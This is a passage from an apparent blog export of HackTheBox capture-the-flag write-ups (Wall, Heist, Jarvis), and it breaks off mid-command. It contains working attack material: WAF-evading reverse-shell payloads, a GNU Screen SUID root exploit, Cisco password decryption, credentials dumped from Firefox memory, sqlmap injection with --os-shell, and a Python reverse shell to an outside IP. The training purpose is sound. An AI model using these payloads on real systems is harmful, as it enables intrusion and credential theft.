<a href="https://shells.systems/centreon-v19-04-remote-code-execution-cve-2019-13024/">an article about the vulnerability</a>.</p>
<p>If we directly use the exploit, we will see that our payload is blocked with a
403 error. There is a WAF blocking some characters A little digging allow use
to find the allowed and blocked ones. The spaces are blocked, the <code>#</code> is blocked
but the <code>()</code> and the <code>$</code> the <code>;</code> and the <code>|</code> are allowed. We can use encode our payload
using <code>base64</code> in order to execute a payload with encoded characters.</p>
<p>In order to replace the spaces in our payload we must use <code>${IFS}</code>
<a href="https://bash.cyberciti.biz/guide/$IFS">variable</a></p>
<p>We want to use the default <code>bash</code> reverse shell:
<code>bash -i >& /dev/tcp/10.10.14.184/4444 0>&1</code></p>
<p>We want to pipe it to <code>base64 -d</code> and pipe the result to bash. Then we need to
discard the rest of the command (as the argument will not be valid). As the <code>#</code>
character is blocked, we can use a <code>;</code>. Our command will be executed and then
the rest will failed with an error, but we do not care as our command will be
executed first.</p>
<p>Our final payload is <code>echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODQvNDQ0NCAwPiYx|base64${IFS}-d|bash${IFS}-;</code></p>
<p>As the script is not reliable we do it manually directly in the interface. We
access the poller interface.</p>
<p><img alt="Configuring the poller" class="image-process-article-image" src="/media/2019.12/derivatives/article-image/wall_4.png"/></p>
<p>We add a new poller with our command. We need to specify that its target
localhost.</p>
<p><img alt="adding the puller" class="image-process-article-image" src="/media/2019.12/derivatives/article-image/wall_5.png"/></p>
<p>Then we export its configuration (while have a <code>netcat</code> listener running).</p>
<h1>Getting root</h1>
<p><em>On this box, we do not need to get user before getting root. We will grab the
user flag once we are root.</em></p>
<h2>Reverse shell</h2>
<p>We got a reverse shell, we start enumerating the box. While searching for SUID
file we found a SUID <code>screen</code> binary.</p>
<div class="highlight"><pre><span></span><code>find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
</code></pre></div>
<p>Our <a href="https://gtfobins.github.io/gtfobins/screen/">gtfobins</a> friend do not tell us that
there is privilege escalation with an SUID screen. Only that we can wrote files.
Which means that we can wrote files as <code>root</code> with the SUID set.
(See this <a href="https://github.com/GTFOBins/GTFOBins.github.io/pull/76">pull request to
gtfobins</a> for more info.)</p>
<p>But looking a the available exploit with <code>searchsploit</code> we find an interesting exploit for the
specific <code>screen</code> version on the box.
(the <code>sh</code> script is a POC using the exploit described in the <code>txt</code>).</p>
<div class="highlight"><pre><span></span><code>searchsploit screen 4.5.0
-------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------- ----------------------------------------
GNU Screen 4.5.0 - Local Privilege Escalati | exploits/linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escalati | exploits/linux/local/41154.sh
-------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
</code></pre></div>
<p>First of all we get a better reverse shell with python <code>python -c 'import pty; pty.spawn("/bin/sh")'</code>
Then we follow the commands in the <code>sh</code> script while changing the path from
<code>/tmp/</code> to <code>/tmp/ioio/</code>. Also we <code>wget</code> the <code>libhax.c</code> and <code>rootshell.c</code> which
we edited on our local system.</p>
<div class="highlight"><pre><span></span><code>www-data@Wall:/usr/local/centreon/www$ cd /tmp/ioio
cd /tmp/ioio
www-data@Wall:wget http://10.10.14.169:8081/libhax.c
wget http://10.10.14.169:8081/libhax.c
www-data@Wall:wget http://10.10.14.169:8081/rootshell.c
wget http://10.10.14.169:8081/rootshell.c
www-data@Wall:/tmp/ioio$ ls
ls
libhax.c
rootshell.c
www-data@Wall:/tmp/ioio$ gcc -fPIC -shared -ldl -o /tmp/ioio/libhax.so /tmp/ioio/libhax.c
<snip>
www-data@Wall:/tmp/ioio$ gcc -o /tmp/ioio/rootshell /tmp/ioio/rootshell.c
<snip>
www-data@Wall:/tmp/ioio$ cd /etc
cd /etc
www-data@Wall:/etc$ umask 000
umask 000
www-data@Wall:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/ioio/libhax.so"
< ld.so.preload echo -ne "\x0a/tmp/ioio/libhax.so"
www-data@Wall:/etc$ /bin/screen-4.5.0 -ls
/bin/screen-4.5.0 -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
www-data@Wall:/etc$ /tmp/ioio/rootshell
/tmp/ioio/rootshell
id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)
</snip></snip></code></pre></div>
<p>We got a root shell, we get the root flag and then the user flag.</p>
<div class="highlight"><pre><span></span><code>cat /root/root.txt
1fdbcf8c33eaa2599afdc52e1b4d5db7
ls /hom/e
ls: cannot access '/hom/e': No such file or directory
ls /hom/e
ls: cannot access '/hom/e': No such file or directory
ls /home/
shelby
sysmonitor
ls /home/shelby/
html.zip
user.txt
cat /home/shelby/user.txt
fe6194544f452f62dc905b12f8da8406
</code></pre></div>
<h1>Wrapping up</h1>
<p>This box was a pain. This is the first box where a bruteforce is needed. This
lead to high instability of the box on public servers. The blocked characters on
the centreon payload complicate a lot the use of the CVE-2019-13024 exploit.</p>
<p>The root part is quit easy in comparison and interesting to use.</p>
<p><em>Edit: The more I think about this box the more I find it realistic. In fact,
web applications should have some protection agains brute force attacks and
have some WAF blocking characters (at least a mod security).</em>
content/2020.01_craft.md:meta:security</p>HTB: Heist2019-12-01T17:35:00+01:002019-12-01T17:35:00+01:00maggicktag:maggick.fr,2019-12-01:/2019/12/htb-heist.html<p><img alt="Heist card" class="align-left" src="/media/2019.12/heist_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/201">Heist</a>
This box is classified as an easy machine.
It implies some CISCO router configuration, a MS Windows server with a WinRM
service, a meterpreter, a tentative of Lazagne and procdump.</p>
<p><img alt="Heist card" class="align-left" src="/media/2019.12/heist_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/201">Heist</a>
This box is classified as an easy machine.
It implies some CISCO router configuration, a MS Windows server with a WinRM
service, a meterpreter, a tentative of Lazagne and procdump.</p>
<p>[TOC]</p>
<h1>Recon</h1>
<p>We start with an nmap scan.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Wed Nov 6 15:29:09 2019 as: nmap -p- -sSV -oA nmap 10.10.10.149
Nmap scan report for 10.10.10.149
Host is up (0.23s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 6 15:34:10 2019 -- 1 IP address (1 host up) scanned in 301.46 seconds
</code></pre></div>
<h2>port 80: HTTP</h2>
<p>This port is the web service.</p>
<h2>port 135: MSRPC</h2>
<h2>Port 445: SMB</h2>
<p>This port is for SMB.</p>
<h2>Port 5985: WinRM</h2>
<p>This port is used by the WinRM service</p>
<h2>Port 49669: MSRPC</h2>
<h1>Web</h1>
<p>We found an authentication page with an option to login as a guest.
Then we see a conversation between an user and the support about a CISCO router
configuration.</p>
<p><img alt="configuration cisco" class="image-process-article-image" src="/media/2019.12/derivatives/article-image/heist_1.png"/></p>
<p>The router configuration is the following:</p>
<div class="highlight"><pre><span></span><code>version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Â mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh
</code></pre></div>
<p>We use <a href="https://github.com/theevilbit/ciscot7">a cisco type 7 decrypter</a> to get
the <code>rout3r</code> and <code>admin</code> passwords.</p>
<div class="highlight"><pre><span></span><code>python ciscot7.py -d -p 0242114B0E143F015F5D1E161713
Decrypted password: $uperP@ssword
python ciscot7.py -d -p 02375012182C1A1D751618034F36415408
Decrypted password: Q4)sJu\Y8qz*A3?d
</code></pre></div>
<p>For the hashed password we use john with rockyou:</p>
<div class="highlight"><pre><span></span><code>john hash -w=~/tools/password_lists/rockyou.txt
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent (?)
</code></pre></div>
<p>We now have three potential users as well as three potential passwords. The
users:
1. admin
2. rout3r
3. Hazard</p>
<p>The passwords:
1. <code>$uperP@ssword</code>
2. <code>Q4)sJu\Y8qz*A3?d</code>
3. <code>stealth1agent</code></p>
<p>We want to connect using the WinRM service. We can use
<a href="https://github.com/Hackplayers/evil-winrm">evil winrm</a> as well as a simple
ruby script:</p>
<div class="highlight"><pre><span></span><code><span class="nb">require</span><span class="w"> </span><span class="s1">'winrm'</span>
<span class="n">conn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">WinRM</span><span class="o">::</span><span class="no">Connection</span><span class="o">.</span><span class="n">new</span><span class="p">(</span>
<span class="w"> </span><span class="ss">endpoint</span><span class="p">:</span><span class="w"> </span><span class="s1">'http://10.10.10.149:5985/wsman'</span><span class="p">,</span>
<span class="w"> </span><span class="ss">user</span><span class="p">:</span><span class="w"> </span><span class="s1">'rout3r'</span><span class="p">,</span>
<span class="w"> </span><span class="ss">password</span><span class="p">:</span><span class="w"> </span><span class="s1">'Q4)sJu\Y8qz*A3?d'</span><span class="p">,</span>
<span class="p">)</span>
<span class="n">command</span><span class="o">=</span><span class="s2">""</span>
<span class="n">conn</span><span class="o">.</span><span class="n">shell</span><span class="p">(</span><span class="ss">:powershell</span><span class="p">)</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="o">|</span><span class="n">shell</span><span class="o">|</span>
<span class="w"> </span><span class="k">until</span><span class="w"> </span><span class="n">command</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">"exit</span><span class="se">\n</span><span class="s2">"</span><span class="w"> </span><span class="k">do</span>
<span class="w"> </span><span class="nb">print</span><span class="w"> </span><span class="s2">"PS > "</span>
<span class="w"> </span><span class="n">command</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">gets</span>
<span class="w"> </span><span class="n">output</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">shell</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">command</span><span class="p">)</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="o">|</span><span class="n">stdout</span><span class="p">,</span><span class="w"> </span><span class="n">stderr</span><span class="o">|</span>
<span class="w"> </span><span class="no">STDOUT</span><span class="o">.</span><span class="n">print</span><span class="w"> </span><span class="n">stdout</span>
<span class="w"> </span><span class="no">STDERR</span><span class="o">.</span><span class="n">print</span><span class="w"> </span><span class="n">stderr</span>
<span class="w"> </span><span class="k">end</span>
<span class="w"> </span><span class="k">end</span>
<span class="w"> </span><span class="nb">puts</span><span class="w"> </span><span class="s2">"Exiting with code </span><span class="si">#{</span><span class="n">output</span><span class="o">.</span><span class="n">exitcode</span><span class="si">}</span><span class="s2">"</span>
<span class="k">end</span>
</code></pre></div>
<p>Trying all the possible combination won't give up a shell. We need more
enumeration. We launch
<a href="https://github.com/SecureAuthCorp/impacket/">impacket's lookupsid</a> using the
different user/password combinations. One is working with the Hazard user and
the <code>stealth1agent</code> password:</p>
<div class="highlight"><pre><span></span><code>python lookupsid.py Hazard:stealth1agent@10.10.10.149
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
</code></pre></div>
<p>We have more users now! We can eliminate the <code>stealth1agent</code> password as this is
Hazard's password.
A few combination later using winrm, we discover that the user Chase use the
<code>Q4)sJu\Y8qz*A3?d</code> password. We have a shell and the user flag:</p>
<div class="highlight"><pre><span></span><code>ruby winrm.rb
PS > whoami
supportdesk\chase
PS > dir ../Desktop
Directory: C:\Users\Chase\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/22/2019 9:08 AM 121 todo.txt
-a---- 4/22/2019 9:07 AM 32 user.txt
PS > type ../Desktop/user.txt
a127d<redacted>
PS > type ../Desktop/todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.
Done:
1. Restricted access for guest user.
</redacted></code></pre></div>
<p>We can upload a meterpreter (generated with msfvenom) using
<a href="https://github.com/Hackplayers/evil-winrm">evil winrm</a></p>
<div class="highlight"><pre><span></span><code>evil-winrm -i 10.10.10.149 -u ^Case -p 'Q4)sJu\Y8qz*A3?d'
</code></pre></div>
<p>The meterpreter allow us to easy enumerate the box. Let us take a look at the
running process:</p>
<div class="highlight"><pre><span></span><code>meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
104 4 Registry
268 612 svchost.exe
300 4 smss.exe
340 612 svchost.exe
404 396 csrss.exe
408 612 svchost.exe
480 396 wininit.exe
488 472 csrss.exe
544 472 winlogon.exe
612 480 services.exe
632 480 lsass.exe
652 792 dllhost.exe x64 1 SUPPORTDESK\Chase C:\Windows\System32\dllhost.exe
684 612 svchost.exe
764 612 svchost.exe
784 612 svchost.exe
792 612 svchost.exe
812 544 fontdrvhost.exe
820 480 fontdrvhost.exe
904 612 svchost.exe
956 612 svchost.exe
984 612 svchost.exe
1020 544 dwm.exe
1052 612 svchost.exe
1128 612 svchost.exe
1164 612 svchost.exe
1184 612 svchost.exe
1248 612 svchost.exe
1300 612 svchost.exe
1348 612 svchost.exe
1356 612 svchost.exe
1364 612 svchost.exe
1376 612 svchost.exe
1468 612 svchost.exe
1512 612 svchost.exe
1580 612 svchost.exe
1624 612 svchost.exe
1632 612 svchost.exe
1720 612 svchost.exe
1780 1468 taskhostw.exe
1820 612 svchost.exe
1896 612 svchost.exe
1968 612 svchost.exe
1992 612 svchost.exe
2216 612 svchost.exe
2564 612 spoolsv.exe
2624 612 svchost.exe
2632 612 svchost.exe
2640 612 svchost.exe
2660 612 svchost.exe
2700 792 TiWorker.exe
2708 612 svchost.exe
2716 612 svchost.exe
2740 612 svchost.exe
2768 612 svchost.exe
2776 612 svchost.exe
2804 612 VGAuthService.exe
2828 612 vmtoolsd.exe
2852 612 svchost.exe
2896 612 svchost.exe
2920 612 svchost.exe
2948 612 svchost.exe
2956 612 MsMpEng.exe
3024 5416 01.exe x64 0 SUPPORTDESK\Chase C:\Users\Chase\Documents\01.exe
3036 612 svchost.exe
3104 792 ShellExperienceHost.exe
3224 612 svchost.exe
3352 792 wsmprovhost.exe x64 0 SUPPORTDESK\Chase C:\Windows\System32\wsmprovhost.exe
3360 612 svchost.exe
3376 792 wsmprovhost.exe x64 0 SUPPORTDESK\Chase C:\Windows\System32\wsmprovhost.exe
3720 792 wsmprovhost.exe x64 0 SUPPORTDESK\Chase C:\Windows\System32\wsmprovhost.exe
3784 612 svchost.exe
3932 612 dllhost.exe
3976 792 WmiPrvSE.exe
4004 792 wsmprovhost.exe
4040 612 svchost.exe
4196 6808 conhost.exe
4200 792 SearchUI.exe
4216 792 wsmprovhost.exe x64 0 SUPPORTDESK\Chase C:\Windows\System32\wsmprovhost.exe
4236 612 msdtc.exe
4392 792 wsmprovhost.exe x64 0 SUPPORTDESK\Chase C:\Windows\System32\wsmprovhost.exe
4408 792 WmiPrvSE.exe
4704 612 TrustedInstaller.exe
4888 792 RuntimeBroker.exe
5140 1184 sihost.exe
5148 612 svchost.exe
5188 612 svchost.exe
5260 1468 taskhostw.exe
5352 612 svchost.exe
5364 612 svchost.exe
5416 792 wsmprovhost.exe x64 0 SUPPORTDESK\Chase C:\Windows\System32\wsmprovhost.exe
5456 612 svchost.exe
5524 612 svchost.exe
5572 792 RuntimeBroker.exe
5584 5524 ctfmon.exe
5620 612 svchost.exe
5908 5880 explorer.exe
6080 3376 conhost.exe x64 0 SUPPORTDESK\Chase C:\Windows\System32\conhost.exe
6140 792 wsmprovhost.exe x64 0 SUPPORTDESK\Chase C:\Windows\System32\wsmprovhost.exe
6228 6852 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe
6304 792 RuntimeBroker.exe
6388 6852 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe
6464 6672 php-cgi.exe
6564 5908 vmtoolsd.exe
6584 792 wsmprovhost.exe x64 0 SUPPORTDESK\Chase C:\Windows\System32\wsmprovhost.exe
6672 2896 w3wp.exe
6772 612 svchost.exe
6792 6852 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe
6808 1468 MpCmdRun.exe
6852 6676 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe
6940 612 svchost.exe
6948 6672 php-cgi.exe
6988 6852 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe
</code></pre></div>
<p>Our Chase user is running a Firefox Browser. The idea is to see if there is
credentials stored in the browser's password manager. For that we will use
<a href="https://github.com/AlessandroZ/LaZagne/">LaZagne</a>.</p>
<h2>Lazagne</h2>
<p>We upload the Lazagne executable using the meterpreter. Then using a shell we
launch LaZagne with the <code>browsers</code> parameter.</p>
<div class="highlight"><pre><span></span><code>meterpreter > shell
Process 3468 created.
Channel 5 created.
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Chase\Documents>.\05.exe browsers
.\05.exe browsers
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
[+] 0 passwords have been found.
For more information launch it again with the -v option
elapsed time = 0.0
</code></pre></div>
<p>We did not found any password in the browser's password storage. Let us see what
is the process memory.</p>
<h2>procdump</h2>
<p>We upload procdump.exe from
<a href="https://docs.microsoft.com/en-us/sysinternals/">Systinternals</a> and dump the
Firefox process memory before downloading the dump on our machine.</p>
<div class="highlight"><pre><span></span><code>meterpreter > upload procdump.exe 06.exe
[*] uploading : procdump.exe -> 06.exe
[*] Uploaded 467.19 KiB of 467.19 KiB (100.0%): procdump.exe -> 06.exe
[*] uploaded : procdump.exe -> 06.exe
C:\Users\Chase\Documents>.\06.exe -ma 6228
.\06.exe -ma 6228
ProcDump v6.00 - Writes process dump files
Copyright (C) 2009-2013 Mark Russinovich
Sysinternals - www.sysinternals.com
With contributions from Andrew Richards
Writing dump file C:\Users\Chase\Documents\firefox_191106_223459.dmp ...
Writing 293MB. Estimated time (less than) 9 seconds.
Dump written.
meterpreter > download firefox_191106_223459.dmp ./
[*] Downloading: firefox_191106_223459.dmp -> .//firefox_191106_223459.dmp
[*] Downloaded 1.00 MiB of 286.62 MiB (0.35%): firefox_191106_223459.dmp -> .//firefox_191106_223459.dmp
[*] Downloaded 2.00 MiB of 286.62 MiB (0.7%): firefox_191106_223459.dmp -> .//firefox_191106_223459.dmp
[*] Downloaded 3.00 MiB of 286.62 MiB (1.05%): firefox_191106_223459.dmp -> .//firefox_191106_223459.dmp
[*] Downloaded 4.00 MiB of 286.62 MiB (1.4%): firefox_191106_223459.dmp -> .//firefox_191106_223459.dmp
[*] Downloaded 5.00 MiB of 286.62 MiB (1.74%): firefox_191106_223459.dmp -> .//firefox_191106_223459.dmp
</code></pre></div>
<p>We then <code>grep</code> in the dump for some password.</p>
<div class="highlight"><pre><span></span><code>strings firefox_191106_223459.dmp | grep -i password | grep admin -i
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
</code></pre></div>
<p>We can then use the login and password either to connect to the support website
or to the server using the <code>administrator</code> account.</p>
<div class="highlight"><pre><span></span><code>evil-winrm -i 10.10.10.149 -u administrator -p '4dD!5}x/re8]FBuZ'
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
50dfa<redacted>
</redacted></code></pre></div>
<h1>Wrapping up</h1>
<p>In this machine we used evil-rm in to order to exploit the port 5985 as
I work on this machine after the forest one this was not something new (maybe
this article will be publish before the forest's one as I wait for the machine
to retire). We use a simple meterpreter and proc dump to found the password
stored in the Firefox memory.</p>
<p>I was a bit disappointed that there was no real exploitation of the CISCO router.
I was hoping for some pivoting from the first VM to another one use the router
or something similar.</p>HTB: Jarvis2019-11-10T12:30:00+01:002019-11-10T12:30:00+01:00maggicktag:maggick.fr,2019-11-10:/2019/11/htb-jarvis.html<p><img alt="Jarvis Card" class="align-left" src="/media/2019.10/jarvis_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/194">Jarvis</a>.
This box is rated as a medium box. It implies a dead end, some SQL injection, a
homemade script and a SUID binary.</p>
<p><img alt="Jarvis Card" class="align-left" src="/media/2019.10/jarvis_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/194">Jarvis</a>.
This box is rated as a medium box. It implies a dead end, some SQL injection, a
homemade script and a SUID binary.</p>
<p>[TOC]</p>
<h1>Recon</h1>
<p>Let us start as always by a <code>nmap</code> scan the ports 22 (SSH), 80 (HTTP) and 64999
are open:</p>
<div class="highlight"><pre><span></span><code>nmap -p- 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-03 13:46 CEST
Stats: 0:01:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 62.32% done; ETC: 13:48 (0:00:42 remaining)
Stats: 0:01:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.39% done; ETC: 13:48 (0:00:36 remaining)
Nmap scan report for 10.10.10.143
Host is up (0.093s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
64999/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 101.63 seconds
</code></pre></div>
<p>Let us see what services are running on this ports (especially the last one). It
a simple HTTP service.</p>
<div class="highlight"><pre><span></span><code>nmap -p 22,80,64999 -sSV 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-03 13:51 CEST
Nmap scan report for 10.10.10.143
Host is up (0.088s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
64999/tcp open http Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.80 seconds
</code></pre></div>
<h1>Web</h1>
<h2>On port 64999</h2>
<p>The page on the web service on port 64999 is only saying that we have been
banned for 90 seconds.</p>
<div class="highlight"><pre><span></span><code>curl http://10.10.10.143:64999/
Hey you have been banned for 90 seconds, don't be bad
</code></pre></div>
<h2>On port 80</h2>
<p>The website is a "classical" hotel homepage.</p>
<p><img alt="Jarvis homepage" class="image-process-article-image" src="/media/2019.10/derivatives/article-image/jarvis_1.png"/></p>
<p>We can checkout rooms. We notice that there is a <code>cod</code> GET parameter (in the
URL).
Moreover if we put a <code>-1</code> at the end of the URL we get to the previous room. For
instance the URL <code>http://10.10.10.143/room.php?cod=5-1</code> give us exactly the same
room as the <code>http://10.10.10.143/room.php?cod=4</code> URL. This is symptomatic of an
SQL injection.</p>
<p><img alt="Jarvis room id 4" class="image-process-article-image" src="/media/2019.10/derivatives/article-image/jarvis_2.png"/></p>
<p><img alt="Jarvis room id 5" class="image-process-article-image" src="/media/2019.10/derivatives/article-image/jarvis_3.png"/></p>
<p><img alt="Jarvis room id 5-1" class="image-process-article-image" src="/media/2019.10/derivatives/article-image/jarvis_4.png"/></p>
<h1>Getting user</h1>
<p>We launch <code>sqlmap</code> against the page, it confirm the SQL injection:</p>
<div class="highlight"><pre><span></span><code>sqlmap -u http://10.10.10.143/room.php?cod=5-1
<snip>
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=5-1 AND 9103=9103
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=5-1 AND (SELECT 1494 FROM (SELECT(SLEEP(5)))doUk)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-8368 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a707871,0x727a50526445566e634476524a594655416e436156515a667a77797962676967515668766e6e626c,0x71707a7671),NULL-- AwXR
---
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
</snip></code></pre></div>
<p>We list the available database:</p>
<ul>
<li>hotel</li>
<li>infomration_schema</li>
<li>mysq</li>
<li>performance_schema</li>
</ul>
<p>The SQLmap command is the following:</p>
<div class="highlight"><pre><span></span><code>sqlmap -u http://10.10.10.143/room.php?cod=5-1 --dbs
available databases [4]:
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema
</code></pre></div>
<p>We list the table for the <code>hotel</code> database and dump it, nothing interesting.</p>
<div class="highlight"><pre><span></span><code>sqlmap -u http://10.10.10.143/room.php?cod=5-1 -D hotel --tables
Database: hotel
[1 table]
+------+
| room |
+------+
sqlmap -u http://10.10.10.143/room.php?cod=5-1 -D hotel --dump
Database: hotel
Table: room
[6 entries]
<snip>
</snip></code></pre></div>
<p>We dump the mysqluser table and crack the password hash (with the sqlmap
cracking function):</p>
<div class="highlight"><pre><span></span><code>sqlmap -u http://10.10.10.143/room.php?cod=5-1 -D mysql -T user --dump
Database: mysql
Table: user
[1 entry]
*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 (imissyou)
</code></pre></div>
<p>We can then connect to the phpmyadmin as DBadmin:</p>
<p><img alt="Jarvis phpmyadmin" class="image-process-article-image" src="/media/2019.10/derivatives/article-image/jarvis_5.png"/></p>
<p>This does not give us a shell. Let us try something different: the <code>--os-shell</code>
option from <code>sqlmap</code>. We got a shell!</p>
<div class="highlight"><pre><span></span><code>sqlmap -u http://10.10.10.143/room.php?cod=5-1 --os-shell
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
</code></pre></div>
<p>We start enumeration a bit and found that we can call a binary as the pepper
user with <code>sudo</code>.</p>
<div class="highlight"><pre><span></span><code>os-shell> ls /home/
command standard output: 'pepper'
os-shell> ls /home/pepper/
command standard output:
---
Web
user.txt
---
os-shell> cat /home/pepper/user.txt
command standard output: 'cat: /home/pepper/user.txt: Permission denied'
os-shell> ls -al /home/pepper/
command standard output:
---
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 2 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano
-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
---
os-shell> sudo -l
command standard output:
---
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
---
</code></pre></div>
<p>In oder to have a better shell, we use a python reverseshell:</p>
<div class="highlight"><pre><span></span><code>export RHOST="10.10.15.31";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
$ sudo -l
